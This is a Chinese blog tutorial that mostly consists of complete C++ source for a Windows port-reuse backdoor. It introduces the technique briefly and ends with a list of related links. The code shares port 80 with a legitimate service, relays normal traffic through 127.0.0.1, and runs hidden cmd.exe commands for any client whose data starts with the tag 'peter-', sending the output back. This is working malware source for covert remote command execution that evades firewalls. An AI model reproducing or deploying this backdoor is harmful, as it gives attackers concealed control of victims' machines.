简介

前面我们介绍到我们可以用进程注入的方法,借用其他应用的端口收发信息,从而达到穿墙的效果,那么今天介绍一种新的方法,叫做端口复用技术,他能够与其他应用绑定同一个端口,但同时进行端口复用的程序会接管之前程序的信息接受权,所以我们在复用端口后,要对非后门信息通过127.0.0.1本机回环地址进行消息转发。

C++代码样例

/
//
// FileName : ReUseSocket.cpp
// Creator : PeterZ1997
// Date : 2018-5-31 17:54
// Comment : 端口复用后门(单管道)
// Editor : Visual Studio 2017
//
//***************************************************************/
/*  注:WSASocket初始化的Socket无法通过setsockopt函数设置接收超时 */
/***************************************************************/#include <cstdio>
#include <cstdlib>
#include <iostream>
#include <cstring>
#include <strsafe.h>
#include <WinSock2.h>
#include <winsock.h>
#include <windows.h>#pragma comment(lib, "ws2_32")using namespace std;#pragma once
#define MAX_COUNT 255       //字符串最大长度
#define MAX_CONN_COUNT 1024 //最大连接数typedef struct ThreadParam {  //SocketProc多线程结构体SOCKET sClient;sockaddr_in addr;
}tP;const DWORD dwPort = 80;                        //端口号
const CHAR szTagContent[MAX_COUNT] = "peter-";  //连接标识
const DWORD dwTagLength = (size_t)strlen(szTagContent); // 连接标识长度/*** @brief 字符串切片* @param str1 源字符串* @param str2 结果字符串* @param dwBeginCount 数组下标起始值* @param dwEndCount 数组下标的最终值(取到前一位)*/
VOID StringCut(LPCSTR str1, LPSTR str2, DWORD dwBeginCount, DWORD dwEndCount)
{if (strlen(str1) > MAX_COUNT || dwBeginCount >= dwEndCount || dwBeginCount >= 255 || dwEndCount > 255){return;}for (DWORD i = dwBeginCount, j = 0; i < dwEndCount, j < MAX_COUNT; i++, j++){str2[j] = str1[i];}return;
}/*** @brief 管道数据监控* @param sClient 客户端Socket对象* @param hOutputPipe 输出管道*/
VOID DataMonitor(SOCKET sClient, HANDLE hOutputPipe)
{DWORD dwTotalAvail = 0;DWORD dwReadLength = 0;CHAR pipeBuffer[MAX_COUNT*MAX_COUNT] = "\0";ReadFile(hOutputPipe, pipeBuffer, sizeof(pipeBuffer), &dwReadLength, NULL);send(sClient, pipeBuffer, (size_t)strlen(pipeBuffer), 0);ZeroMemory(pipeBuffer, sizeof(pipeBuffer));return;
}/*** @brief 打开Shell* @param sClient 客户端Socket对象* @param szRecvBuffer 字符串接收缓冲区*/
VOID StartShell(SOCKET sClient, LPCSTR szRecvBuffer)
{HANDLE hInputPipe, outputPipe;CHAR szCmdLine[MAX_COUNT] = "\0";CHAR szSendData[MAX_COUNT] = "\0";if (strlen(szRecvBuffer) <= dwTagLength){send(sClient, "None", 5, 0);return;}StringCut(szRecvBuffer, szCmdLine, dwTagLength, (size_t)strlen(szRecvBuffer));SECURITY_ATTRIBUTES sa;sa.nLength = sizeof(SECURITY_ATTRIBUTES);sa.lpSecurityDescriptor = NULL;sa.bInheritHandle = TRUE;CreatePipe(&outputPipe, &hInputPipe, &sa, 0);Sleep(200);STARTUPINFO si;PROCESS_INFORMATION pi;GetStartupInfo(&si);si.hStdError = hInputPipe;si.hStdOutput = hInputPipe;si.wShowWindow = SW_HIDE;si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;GetSystemDirectory(szSendData, sizeof(szSendData));StringCchCat(szSendData, sizeof(szSendData), "\\cmd.exe /c ");StringCchCat(szSendData, sizeof(szSendData), szCmdLine);CreateProcess(NULL, szSendData, NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi);WaitForSingleObject(pi.hProcess, 10000); //最迟等待10秒后返回,防止命令无回显情况发生DataMonitor(sClient, outputPipe);return;
}/*** @brief 客户端Socket处理* @param lpParam ThreadParam参数结构体*/
DWORD WINAPI SocketProc(LPVOID lpParam)
{SOCKET sClient = ((tP*)lpParam)->sClient;CHAR szRecvBuffer[MAX_COUNT * 10] = "\0";SOCKET sNative;sockaddr_in saiNativeAddr;CHAR szTip[] = "\r\nPeterBD>";struct timeval optNativeValue;saiNativeAddr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");saiNativeAddr.sin_family = AF_INET;saiNativeAddr.sin_port = htons(dwPort);sNative = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);if (sNative == INVALID_SOCKET){closesocket(sClient);return 0;}optNativeValue.tv_sec = 1;optNativeValue.tv_usec = 0;if (setsockopt(sNative, SOL_SOCKET, SO_RCVTIMEO, (CHAR*)&optNativeValue, sizeof(optNativeValue)) == SOCKET_ERROR)  //设置接收超时{closesocket(sClient);closesocket(sNative);return 0;}if (connect(sNative, (struct sockaddr*)&saiNativeAddr, sizeof(saiNativeAddr)) == SOCKET_ERROR && WSAGetLastError() != WSAECONNREFUSED) //防止对方为打开复用目标端口,导致无法数据转发{closesocket(sClient);closesocket(sNative);return 0;}while (TRUE){send(sClient, szTip, (size_t)strlen(szTip), 0);ZeroMemory(szRecvBuffer, sizeof(szRecvBuffer));DWORD ret = recv(sClient, szRecvBuffer, sizeof(szRecvBuffer), 0);if (ret == SOCKET_ERROR){break;}if (strncmp(szRecvBuffer, szTagContent, dwTagLength) == 0){StartShell(sClient, szRecvBuffer);continue;}send(sNative, szRecvBuffer, (size_t)strlen(szRecvBuffer), 0);ZeroMemory(szRecvBuffer, sizeof(szRecvBuffer));recv(sNative, szRecvBuffer, sizeof(szRecvBuffer), 0);if (strlen(szRecvBuffer)){send(sClient, szRecvBuffer, (size_t)strlen(szRecvBuffer), 0);}}closesocket(sClient);closesocket(sNative);return 0;
}/*** @brief 主函数*/
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{WSADATA wsd;SOCKET sServer;sockaddr_in saiServerAddr;in_addr iaTempAddr;tP *tp[MAX_CONN_COUNT];HANDLE hThreadPool[MAX_CONN_COUNT];int connCount = 0;int s_ClientAddrSize = 0;CHAR szHostName[MAX_COUNT] = "\0";if (WSAStartup(0x0202, &wsd)){return 0;}gethostname(szHostName, sizeof(szHostName));HOSTENT *hostInfo = gethostbyname(szHostName);saiServerAddr.sin_family = AF_INET;saiServerAddr.sin_port = htons(dwPort);memcpy(&iaTempAddr.S_un.S_addr, hostInfo->h_addr_list[0], hostInfo->h_length); //监听第一张网卡ip,如果必要的话,可以切换网卡或自定义本地ipsaiServerAddr.sin_addr.S_un.S_addr = iaTempAddr.S_un.S_addr;sServer = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, NULL, 0);int dwOptVal = 1;if (setsockopt(sServer, SOL_SOCKET, SO_REUSEADDR, (CHAR*)&dwOptVal, sizeof(dwOptVal)) == SOCKET_ERROR) //设置为端口复用模式{return 0;}if (bind(sServer, (struct sockaddr*)&saiServerAddr, sizeof(saiServerAddr)) == SOCKET_ERROR){return 0;}if (listen(sServer, SOMAXCONN) == SOCKET_ERROR){return 0;}while (connCount < MAX_CONN_COUNT){tp[connCount] = (tP*)malloc(sizeof(tP));s_ClientAddrSize = sizeof(tp[connCount]->addr);tp[connCount]->sClient = accept(sServer, (struct sockaddr*)&(tp[connCount]->addr), &s_ClientAddrSize);hThreadPool[connCount] = CreateThread(NULL, 0, SocketProc, (LPVOID)tp[connCount], 0, NULL);connCount++;}WaitForMultipleObjects(connCount, hThreadPool, true, INFINITE);for (int i = 0; i < connCount; i++){CloseHandle(hThreadPool[i]);closesocket(tp[i]->sClient);}closesocket(sServer);WSACleanup();ExitProcess(0);return 0;
}

安全之路 —— 利用端口复用技术隐藏后门端口相关推荐

  1. 端口复用技术简单了解;重用端口;socket复用端口

    端口复用相关点 多个应用复用端口,只有最后一个绑定的socket可以接受数据,所有socket都可以发送数据 使用端口复用技术时,所有的socket都开启端口复用,才可以实现端口复用 黑客技术,使用标 ...

  2. 管理端口_内网渗透 | 红蓝对抗:Windows利用WinRM实现端口复用打造隐蔽后门

    目录 WinRM端口复用原理 端口复用配置 新增80端口监听 修改WinRM默认监听的端口 远程连接WinRM WinRM端口复用原理 该端口复用的原理是使用Windows的远程管理服务WinRM,结 ...

  3. java多进程端口复用_多个程序监听同一端口 - socket端口复用技术

    对于多个程序绑定同一个端口我们遇到最多的是(Port 80 was already in use),也就是说端口被占用,不能重复绑定,但是操作系统内核支持通过配置socket参数的方式来实现多个进程绑 ...

  4. java多进程端口复用_多个程序监听同一端口 - socket端口复用技术

    对于多个程序绑定同一个端口我们遇到最多的是(Port 80 was already in use),也就是说端口被占用,不能重复绑定,但是操作系统内核支持通过配置socket参数的方式来实现多个进程绑 ...

  5. 端口碰撞技术让开放端口更安全

    来源:[url]http://www.juntuan.net[/url] 所有在防火墙和路由器上开放的端口都是一种安全风险.这也是一种称之为"端口碰撞(port knocking )&quo ...

  6. java tcp端口复用_windows server tcp端口重用问题

    我们的服务器端和客户端都是windows的Server client(192.168.1.11)发送socket连接到windows服务端,windows处理完数据返回报文后就close掉了(serv ...

  7. Web端口复用正向后门研究实现与防御

    0×01背景 现在的很多远控/后门因为目前主流防火墙规则的限制,基本上都采用TCP/UDP反弹回连的通讯形式:但是在较高安全环境下,尤其负责web相关业务的环境,因为安防设备(防火墙,IDS,IPS等 ...

  8. 端口复用突破防火墙(图)

    如何在溢出后得到安全的.隐蔽的Shell是大家一直都在讨论的问题,因为现在的防火墙和各种安全软件漫天飞,想不被它们发现还真是很难,幸好有很多牛人们用自己的实力探索出了一条这样的道路,让我们这些人能顺着 ...

  9. 公网与私网的区别 ?如何进行通信?(NAT技术,端口映射技术,)

    目录 一, 公网与私网介绍两者间的联系 二,公网ip与私有ip的区别 三,私有网络如何访问公有网络? 1,端口映射技术 2,nat技术 (网络地址转换 ) 五,VPN技术 六,总结概述 一, 公网与私 ...

最新文章

  1. ubuntu卸载nvidia驱动_解决Ubuntu18.04循环登录问题 - 卸载NVIDIA驱动 启用Nouveau(1)
  2. MySQL创建用户与授权方法
  3. Spring Data ElasticSearch删除索引遇到的java.lang.IllegalStateException: Failed to load ApplicationContext异常
  4. dynamic flash xml news----滚动新闻
  5. 到2025年将保持不变的热门流行技术
  6. mongodb聚合查询-aggregate
  7. Git学习笔记 - 钢钢更新
  8. Python字典对象实现原理
  9. linux shell文件转码命令:iconv
  10. 怎么在计算机上设置复印机双面打印,Word如何设置双面打印
  11. kvaser二次开发
  12. 债券收益率预测模型_证券盈利预测模型
  13. 用计算机算3次根号0.00005,使用ORCA在TDDFT下计算旋轨耦合矩阵元和绘制旋轨耦合校正的UV-Vis光谱...
  14. excel计算二元线性回归_用人话讲明白梯度下降Gradient Descent(以求解多元线性回归参数为例)...
  15. 画图神器-drawio(配合markdown使用更佳)
  16. 实现AI角色的自主移动-避开障碍物Obstacle行为
  17. 多角度透彻理解渐近表示法(大O表示法)
  18. 利用OpenCV读取大华网络摄像头
  19. 教你怎么合理选购LED透明屏_LED透明屏价格影响因素
  20. 高并发 收获大厂Offer必不可少的利器

热门文章

  1. javascript 动态设置样式style
  2. 如何利用Cacti监控机房温度
  3. 天平游码读数例题_在天平读数时游码要读游码左端对应的刻度
  4. 《置身事内》读书笔记第一章 地方政府的权利与事务
  5. 出海必知:跨境人必须知道的一个跨境电商推广常用渠道
  6. 小米 admob广告 ID_如何评价即将发布的小米盒子4?
  7. android 多个style,Android style详解
  8. html模版i7,2017万元级专业制图 Intel最新七代i7-7700K专业建模渲染设计师电脑配置推荐...
  9. 增值税怎么用计算机算,什么是汽车税费计算器?我们如何通过网上使用这种计算器呢?...
  10. 卷积神经网络 - 汇聚层